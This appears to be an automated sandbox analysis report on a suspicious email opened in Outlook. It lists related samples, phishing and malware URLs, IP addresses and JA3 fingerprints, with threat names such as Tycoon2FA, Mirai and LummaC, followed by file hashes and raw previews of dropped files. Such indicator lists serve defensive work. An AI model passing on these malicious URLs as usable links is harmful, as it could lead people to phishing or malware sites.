	https://gabrielahearstcom-my.sharepoint.com/:o:/g/personal/printern_gabrielahearst_com/EhJ1Th9LxHlEmnThw1du4WEB0ZN3MDFzWzNdgRppRdNZTA?e=5%3aW6udsw&at=9&xsdata=MDV8MDJ8Y2FsZWIuc3dhbm5Ac2VtaW5vbGVzcG9ydHNwcm9wZXJ0aWVzLmNvbXwxMGU5ODhkMzFkNmI0ODI3ODJiNzA4ZGM5Y2VmZmMwMXw5ZWMyN2Q1MzBiZDU0MjczYmIyOWYxYTM4NDY0OGM3OHwwfDB8NjM4NTU3ODAxNzc5NTQyNDI1fFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=aGlHd2xmME5haU1LYXB6RVVxLzUxQmJNeEZMbWYwQkg2YW9NSzlGaUdPVT0%3d	Get hash	malicious	HTMLPhisher	Browse
	Please review 3 closing documents.htm	Get hash	malicious	HTMLPhisher	Browse
	11-03-22_REMINDER - Signed Docs for review.msg	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	151.101.194.137
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	151.101.66.137
	Hscni Remittance_8115919700_16831215.html	Get hash	malicious	Tycoon2FA	Browse	151.101.130.137
	original.eml	Get hash	malicious	Tycoon2FA	Browse	151.101.66.137
	https://globalairt.com/arull.php?7088797967704b536932307466507a53354b54456b744b3872584b3037555338375031633872445172564277413d1	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://twbcompany.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	http://www.twbcompany.com	Get hash	malicious	Unknown	Browse	151.101.194.137
freeipapi.com	http://duttweilerangel6891-sidebarg165895-flarew256.pages.dev/help/contact/656749019228815	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	http://duttweilerangel6891-sidebarg165895-flarew256.pages.dev/help/contact/581207279857749	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://contact-us-business-help-home-64844114956.on-fleek.app/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://meta.com-case5173251.com/help/contact/500498727349033	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://meta.com-case5173251.com/help/contact/424744076261560	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://lothanse-heracklarne.pages.dev/help/contact/547074160798771	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://lmoriw-iekascma-oqmmcq-213-cmakwe-fgacsax.pages.dev/robots.txt/	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	http://limeac-oawkcc-otmsesrt-iond0-minestoasli.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://check-smulti-993054.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://check-smulti-9635.pages.dev/robots.txt/	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
nam04.safelinks.eop-tm2.outlook.com	Untitled.eml	Get hash	malicious	HTMLPhisher	Browse	104.47.74.28
	Untitled.eml	Get hash	malicious	HTMLPhisher	Browse	104.47.73.28
	EXTERNAL 9 Held.msg	Get hash	malicious	Unknown	Browse	104.47.73.28
	FW_ _EXTERNAL_ ocstock Shared Document-2.msg	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.47.73.156
	https://gabrielahearstcom-my.sharepoint.com/:o:/g/personal/printern_gabrielahearst_com/EhJ1Th9LxHlEmnThw1du4WEB0ZN3MDFzWzNdgRppRdNZTA?e=5%3aW6udsw&at=9&xsdata=MDV8MDJ8Y2FsZWIuc3dhbm5Ac2VtaW5vbGVzcG9ydHNwcm9wZXJ0aWVzLmNvbXwxMGU5ODhkMzFkNmI0ODI3ODJiNzA4ZGM5Y2VmZmMwMXw5ZWMyN2Q1MzBiZDU0MjczYmIyOWYxYTM4NDY0OGM3OHwwfDB8NjM4NTU3ODAxNzc5NTQyNDI1fFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=aGlHd2xmME5haU1LYXB6RVVxLzUxQmJNeEZMbWYwQkg2YW9NSzlGaUdPVT0%3d	Get hash	malicious	HTMLPhisher	Browse	104.47.74.28
	Untitled.eml	Get hash	malicious	HTMLPhisher	Browse	104.47.73.156
cdnjs.cloudflare.com	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://www.masonpost.com:443/cgi-bin/redir?https://ctrk.klclick3.com/l/01J9K8KGETH6JCWEWSWY0Z1M23_0?upn=u001.itvpsDR1UD2k9ruxjm0OAspgqcVOQ2hpn9lpb50VxZJdbi9nOzDV7HSnhKeIcaLQsgzZhAfJ867-2F8IcC-2BBYACBF80J8eA0O7PKeZKrlC1Q54Fj-2FS5ho91OPbLHjsGsZQWTyMbbJfNaQPKh9-2FKW31wr-2BMvAwYD85cdCTmlJyLauY-3D1xqt_Zis0fkz6H88oOTECUjdmAu-2FGkDDLbhQT-2B-2B9-2BD8-2Fn-2BuGRBn47ofPUerdduk-2BghIIr31LJs6iNd0rpuOZI5rlm3TOpkCWZ1eNCAWCuASI4dMP9Tv6jbA2UWTI2YWLmFZqgYeVzSc0Fb4o9iKg-2BzjSlX63m5ZgVPzXZ0W3SrrpOTDVmr8Vwd0xwSjxu9efo9kpJLVs7HOh7Cib6eG0OHldiYrljs5jy-2BsmDgNausa6sMCHSoHHj10FI3IfGuCnAD3e6jEbbsHVD11-2FD9cWADvkKxwETdgNpgixeie55jSwivWDLRKcdIczYG3CyTpA1Y18cj-2FBGLZEHTJvF1rd5yfWClPzV1Xw6x2CQgpVVbtrTE5NXtV8WFomzmraH-2FRE0uCvY#QE5lb19IYWNrZXJAb2ZmaWNlLmNvbQ==	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://issuu.com/smart_media/docs/die_welt_wirtschaft/19	Get hash	malicious	Unknown	Browse	104.17.25.14
	Hscni Remittance_8115919700_16831215.html	Get hash	malicious	Tycoon2FA	Browse	104.17.25.14
	original.eml	Get hash	malicious	Tycoon2FA	Browse	104.17.24.14
	https://globalairt.com/arull.php?7088797967704b536932307466507a53354b54456b744b3872584b3037555338375031633872445172564277413d1	Get hash	malicious	Unknown	Browse	104.17.25.14
	cfev.-Information refb08b4d10f3ce74a317adeabab8ac66ad.htm	Get hash	malicious	Unknown	Browse	104.17.24.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	cenSXPimaG.elf	Get hash	malicious	Mirai, Okiru	Browse	20.23.44.64
	2UngC9fiGa.elf	Get hash	malicious	Mirai, Okiru	Browse	20.50.167.2
	0wG3Y7nLHa.elf	Get hash	malicious	Mirai, Okiru	Browse	20.202.12.154
	XvAqhy3FO6.elf	Get hash	malicious	Mirai, Okiru	Browse	52.111.82.236
	970Qh1XiFt.elf	Get hash	malicious	Mirai, Okiru	Browse	13.78.147.175
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	150.171.27.10
	x86.elf	Get hash	malicious	Mirai	Browse	70.37.55.77
	https://www.rhris.com/EmailEmploymentValidation.cfm?EmploymentRefID=E84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	52.165.44.146
CLOUDFLARENETUS	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Justificante de pago.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://ipp.safetyworksolutions.com/	Get hash	malicious	Unknown	Browse	104.21.43.105
	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	172.64.144.96
	http://dmed-industries.com	Get hash	malicious	HtmlDropper	Browse	172.67.210.215
	https://doccloudshareddrive.com/?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-10-07T16%3A53%3A27.609Z&priority=high&include_details=true	Get hash	malicious	Unknown	Browse	188.114.96.3
CLOUDFLARENETUS	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Justificante de pago.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://ipp.safetyworksolutions.com/	Get hash	malicious	Unknown	Browse	104.21.43.105
	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	172.64.144.96
	http://dmed-industries.com	Get hash	malicious	HtmlDropper	Browse	172.67.210.215
	https://doccloudshareddrive.com/?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-10-07T16%3A53%3A27.609Z&priority=high&include_details=true	Get hash	malicious	Unknown	Browse	188.114.96.3
AMAZON-02US	cenSXPimaG.elf	Get hash	malicious	Mirai, Okiru	Browse	108.140.54.16
	0wG3Y7nLHa.elf	Get hash	malicious	Mirai, Okiru	Browse	35.157.3.227
	XvAqhy3FO6.elf	Get hash	malicious	Mirai, Okiru	Browse	54.119.141.84
	970Qh1XiFt.elf	Get hash	malicious	Mirai, Okiru	Browse	52.93.142.128
	https://66e41162be8b44fa4ef98165--lively-meringue-d6fcef.netlify.app/	Get hash	malicious	Unknown	Browse	3.72.140.173
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	18.158.29.188
	Contract_Agreement_Monday October 2024.pdf	Get hash	malicious	Unknown	Browse	205.201.46.12
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	3.161.82.108
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	18.239.18.92
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.htr.gtdzwq?v=frudxdxrtxfilfrjx.htrd.iwtlt___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpjOGJiNWZiM2U4NjZhMDk1M2Y0MGVjY2U1MDhmYjQ4YTo3OmM4Y2I6MDdlZDdhNDI4N2UyMzc1NGJjZGQ1YjkyOWYyODg2OTI5ZDkyNzU0YTQ2NWI4MzhkYWZlMmM3NjA5ZGMyZGNmMzpoOlQ6VA#YnJhbmRvbi53YW5nQGludGVncmFjb25uZWN0LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	108.138.7.80
CLOUDFLARENETUS	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Justificante de pago.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://ipp.safetyworksolutions.com/	Get hash	malicious	Unknown	Browse	104.21.43.105
	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	172.64.144.96
	http://dmed-industries.com	Get hash	malicious	HtmlDropper	Browse	172.67.210.215
	https://doccloudshareddrive.com/?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-10-07T16%3A53%3A27.609Z&priority=high&include_details=true	Get hash	malicious	Unknown	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Credential Flusher	Browse	184.28.90.27 20.190.159.23 20.12.23.50
	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 20.190.159.23 20.12.23.50
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	184.28.90.27 20.190.159.23 20.12.23.50
	https://ipp.safetyworksolutions.com/	Get hash	malicious	Unknown	Browse	184.28.90.27 20.190.159.23 20.12.23.50
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse	184.28.90.27 20.190.159.23 20.12.23.50
	file.exe	Get hash	malicious	Credential Flusher	Browse	184.28.90.27 20.190.159.23 20.12.23.50
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	184.28.90.27 20.190.159.23 20.12.23.50
	2005.exe	Get hash	malicious	Dice	Browse	184.28.90.27 20.190.159.23 20.12.23.50
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	184.28.90.27 20.190.159.23 20.12.23.50
	2005.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 20.190.159.23 20.12.23.50

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	231348
Entropy (8bit):	4.392031233159842
Encrypted:	false
SSDEEP:	3072:uugk1kgNmiGu2QqoQ5rt0Fv53QSA35+EWsbvoW:u4tmi2N6QSakAB
MD5:	922A6E245A681C87536ECC64BCED33C6
SHA1:	FDE57663947DE892FFD7BB8412C87EB88B5DC244
SHA-256:	9AC3361B5103F11937C041B8F0C94332938211F28A84B4FBA73AF7631455BA73
SHA-512:	4BD80292BB305A168338FF6F1977E66B7222E2DDF71837A94AB9FE48E0DFF34D679861A8008D9659F551D0019A9F4D783EC1BB0B7E50ECC9F2AC19B72F63A7AA
Malicious:	false
Reputation:	low
Preview:	TH02...... ...E.........SM01X...,... .9.............IPM.Activity...........h...............h............H..h..o.....z......h........@[..H..h\cal ...pDat...h`K..0...p.o....hj.............h........_`Pk...h...@...I.lw...h....H...8.Uk...0....T...............d.........2h...............k..............!h.............. hS.Z.......o...#h....8.........$h@[......8....."h@Z...... \....'h..r...........1hj..<.........0h....4....Uk../h....h.....UkH..h....p.....o...-h .........o...+h.........o......... ...... ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000....Microsoft...This form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, ASCII text, with very long lines (1869), with no line terminators
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	5.08666889538878
Encrypted:	false
SSDEEP:	48:cGGdyUdyjdSyrudnzyZSyrenzyMJdyBkSyrdnzyr1nzyvASy/dyO:+EUEjdbqd2Zb622Embx2R2vAb/EO
MD5:	A61891229698081C1DE5698F9B897567
SHA1:	DD6E98AE8E3EF95048B3D3C27074FC2B2D340FBD
SHA-256:	767DC4F5C2F1B1041D18786613A3860D32848BABBE2F736D8029E166DFEFF290
SHA-512:	71E05CF5FD389935475835B4DDE83B135F9C0E5B28DF9A4A7E23A181A3F91BED465E1F84B453BD6091C01305D20FCA4824E3F133F5E88A5BB3822B14B1BC4752
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?><root><version>1</version><Count>12</Count><Resource><Id>Aptos_26215680</Id><LAT>2024-10-07T18:58:10Z</LAT><key>29939506207.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos_45876480</Id><LAT>2023-10-06T09:25:29Z</LAT><key>27160079615.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_26215424</Id><LAT>2023-10-06T09:25:29Z</LAT><key>31558910439.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos Display_26215680</Id><LAT>2023-10-06T09:25:29Z</LAT><key>23001069669.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_45876224</Id><LAT>2023-10-06T09:25:29Z</LAT><key>24153076628.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos Display_45876480</Id><LAT>2023-10-06T09:25:29Z</LAT><key>30264859306.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos_

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04604146709717531
Encrypted:	false
SSDEEP:	3:Gtlxtjlte8vnmH4tlxtjlte8vnmfzR9//8l1lvlll1lllwlvlllglbelDbllAlla:Gtlvnk4tlvn899X01PH4l942wU
MD5:	73CB476EAC1FBD2D84A1C24E0F762E8D
SHA1:	FE942F5DDE0FB532BE94C538EF63D46107E2D590
SHA-256:	7752AC65DC8E4E35CB207CD3A00863B386798C210C5B006C95449A9D78F12C81
SHA-512:	CDC5587EE53744A17B4C5A99474843150227DA7BA16D0EDD46D5208F074C74E736C3F75B5F605CA8A940A9752FCD9302447F8A3411ED7558631C8277D3E5E429
Malicious:	false
Reputation:	low
Preview:	..-.......................{Y.Ko....LE..6`D.....-.......................{Y.Ko....LE..6`D...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	49472
Entropy (8bit):	0.4817522590902166
Encrypted:	false
SSDEEP:	48:KuAQ1JUll7DYM9wzO8VFDYMm6BO8VFDYML:K+Qll4BjVGJwjVGC
MD5:	9BAF0E3413D3101A481EEB4EC728D9AE
SHA1:	3F154B833C26D741436B955B2D57F978E4F825DC
SHA-256:	5A47E1D4336DD40CCA1CDD654BA6723D2221E0CC8B8CC8070F6DAF9EB22204C1
SHA-512:	6171F6A49412BBF77AD73A156835D820F8BD0E3DB91171D48D5E08E76C0CD30D69D372DE82EFA748B148999C634018734223C83C1EBC085C99037B9EC7DF9820
Malicious:	false
Reputation:	low
Preview:	7....-..........o....LE....f...........o....LE..v...4..SQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\8DEE85F.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=600, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=1800], baseline, precision 8, 653x180, components 4
Category:	dropped
Size (bytes):	78559
Entropy (8bit):	7.7467896641477125
Encrypted:	false
SSDEEP:	1536:EwSwSq3Yj/UzhMLWxmw4edgTY4yKTG5xkARkGZDCkrT3KVUS:EwSwTYQzhMQj4edMY4yKTG5xrRkV+3Kn
MD5:	5C3DD8DE99BA1CAF0CFD36EDAB72646D
SHA1:	CFF0C47FDFA703B99581D58D9882851E7432D204
SHA-256:	E8892D2E030E766504F9368FC09A150FE63CE9B8C62F6707D4396BCE84AD5A3C
SHA-512:	22825B8FC74C6AA1189E31AD4B0F4940747E22E098278C9C09C08D282A9E8B5F642854BD494C9E4672D03498CA6182FD8640DEA00A6896397367954FC2E56896
Malicious:	false
Reputation:	low
Preview:	......Exif..MM.*...........................X...........................................................................(...........1...........2..........i............. .........-....'..-....'.Adobe Photoshop CS5.1 Windows.2014:07:29 14:41:27...........0221...................................................................n...........v.(.....................~...........D.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................,...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..........A.n...+}...=.....=.UK?.~.QU.....U....31l..#..q..h.eV....V....U.....W~.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{99C475B5-A533-44BC-8EFC-4FAEFE7DD435}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	13900
Entropy (8bit):	3.7971407080871304
Encrypted:	false
SSDEEP:	384:qjVIPsbKlwZFggHI0LJ2vRmgJigsNr2J2:qjVIPsbgsI04Vs
MD5:	F86D0FE49DD860B1938179B55FE0E1B3
SHA1:	33CF0070DDE22207785C96067936EC0D9E7FB665
SHA-256:	CE6E82C32049BDBBBFEBCAF487D92889BE6B27F37460869DF39C9C730F41A3F6
SHA-512:	A731516A854D867B02A59357F3FD761939914BEB648F96D5130CB3EA83AEB0FC88B9A4C661B5FFC949D0D80C9431514E718FB2A9AA74BB93307DDB1CC7F228C0
Malicious:	false
Reputation:	low
Preview:	........J.i.m. .G.i.l.l.i.l.a.n.d.....D.i.r.e.c.t.o.r. .o.f. .I.T...M.o.b.i.l.e.:...9.0.7.-.8.8.7.-.9.1.0.8.....E.m.a.i.l...:...H.Y.P.E.R.L.I.N.K. .".m.a.i.l.t.o.:.j.g.i.l.l.i.l.a.n.d.@.o.l.g.o.o.n.i.k...c.o.m.".................................................................................................................................................................................................................................................................................................................................&...D...p...x.......~... ..."...4...6...L...z........................... ...............................................................................................................................................................................................................................................................................................................*...$..$.If........!v..h.#v....:V.......t.....6......5.......4........4........a.........d..

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1728327489591321700_8024F537-0BA6-46F2-B45B-1CCAE900E7AF.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (28775), with CRLF line terminators
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.17887769532031167
Encrypted:	false
SSDEEP:	1536:IDguvjLkTxM7Ehoix0P0ev/tqhK6J8PQ3BHjjP8iax/04THWwSLVBUoM:ujwy7EhxjnZl
MD5:	1AF62D6915999994937E0842863BF563
SHA1:	A07B95D05F335CC5F7AAFFFC3E8467F70F750B56
SHA-256:	9269DE1B832A52EB26BF988BFAA5D32B839F611553230CC59642411FA0A13573
SHA-512:	068C82A2ABA9D8822377F0068F70654AAEFEC4D8DCF63DDC46FBB1873008D0F871360E814E31EEB99E25B7F01D3BD03119780BCC60F1A4B388916948AA5896B3
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..10/07/2024 18:58:09.647.OUTLOOK (0x1B10).0x1B14.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.GDIAssistant.HandleCallback","Flags":30962256044949761,"InternalSequenceNumber":26,"Time":"2024-10-07T18:58:09.647Z","Contract":"Office.System.Activity","Activity.CV":"N/UkgKYL8ka0WxzK6QDnrw.4.11","Activity.Duration":21,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.GdiFamilyName":"","Data.CloudFontStatus":6,"Data.CloudFontTypes":256}...10/07/2024 18:58:09.679.OUTLOOK (0x1B10).0x1B14.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.ResourceClient.Deserialize","Flags":30962256044949761,"InternalSequenceNumber":28,"Time":"2024-10-07T18:58:09.679Z","Contract":"Office.System.Activity","Activity.CV":"N/UkgKYL8ka0WxzK6QDnrw.4.12","Activity.Duration":20851,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.JsonFileMajor

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1728327489592183600_8024F537-0BA6-46F2-B45B-1CCAE900E7AF.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

